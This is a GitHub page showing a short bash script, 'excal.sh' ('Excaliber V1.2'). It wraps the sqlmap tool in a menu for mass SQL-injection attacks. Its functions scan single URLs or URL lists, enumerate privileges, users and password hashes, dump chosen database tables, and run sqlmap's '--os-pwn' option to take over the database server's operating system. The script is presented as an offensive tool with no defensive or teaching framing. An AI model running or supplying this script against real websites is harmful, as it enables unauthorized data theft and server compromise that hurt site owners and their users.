-
Notifications
You must be signed in to change notification settings - Fork 0
/
excal.sh
105 lines (99 loc) · 2.87 KB
/
excal.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/bin/bash
scan(){
read -p "Target URL:" target
sqlmap -u $target --random-agent --level=3 --risk=2 -o --skip-static --is-dba --privileges --roles --users --passwords --fingerprint --dbs --batch --dbms="mysql,mssql"
database
}
list(){
read -p "Path to list?:" list
sqlmap -m $list --random-agent --level=3 --risk=2 -o --skip-static --is-dba --dbs --batch --technique=BE --beep --dbms="mysql,mssql"
database
}
database(){
read -p "<URL:-->" target
read -p "<DB:--->" db
sqlmap -u $target --random-agent --level=3 --risk=2 -D $db --tables --count --threads 6 --batch #--hex
read -p " What kind of tables to search?:" tables
sqlmap -u $target --random-agent -D $db -T $tables --columns --dump --threads 7
back
}
pwn(){
read -p "URL Of DBA:" url
sqlmap -u $url --random-agent --leve=5 --risk=3 --os-pwn
back
}
back(){
read -p "Do you want to return to main menu? [y,n]:" back
if [ $back == 'y' ]
then
menu
elif [ $back == 'n' ]
then
exit
fi
}
menu(){
echo "======================================="
echo "[1] Scan Target"
echo "[2] Scan List"
echo "[3] Scan Database"
echo "[4] PWN DBA"
echo "[0] Exit"
echo "======================================="
read -p "Choice:" choice
if [ $choice == '1' ]
then
scan
elif [ $choice == '2' ]
then
list
elif [ $choice == '3' ]
then
database
elif [ $choice == '4' ]
then
pwn
elif [ $choice == '0' ]
then
clear
exit
fi
}
## BANNER ##
echo "=============================================================================="
echo " /v "
echo " /(W "
echo " /<M- "
echo " \~b__________.$|\----------------------------------------------------------. "
echo " >@)=======($( )#H>====================================================---------> "
echo " /_p~~~~~~~~~~.$|/----------------------------------------------------------' "
echo " \<M- "
echo " \(B "
echo " \? "
echo " "
echo " Getting Injections Ready "
echo " Codename: Excaliber V1.2 "
echo "=============================================================================="
echo "[1] Scan Target"
echo "[2] Scan List"
echo "[3] Scan Database"
echo "[4] PWN DBA"
echo "[0] Exit"
echo "======================================="
read -p "Choice:" choice
if [ $choice == '1' ]
then
scan
elif [ $choice == '2' ]
then
list
elif [ $choice == '3' ]
then
database
elif [ $choice == '4' ]
then
pwn
elif [ $choice == '0' ]
then
exit 0
fi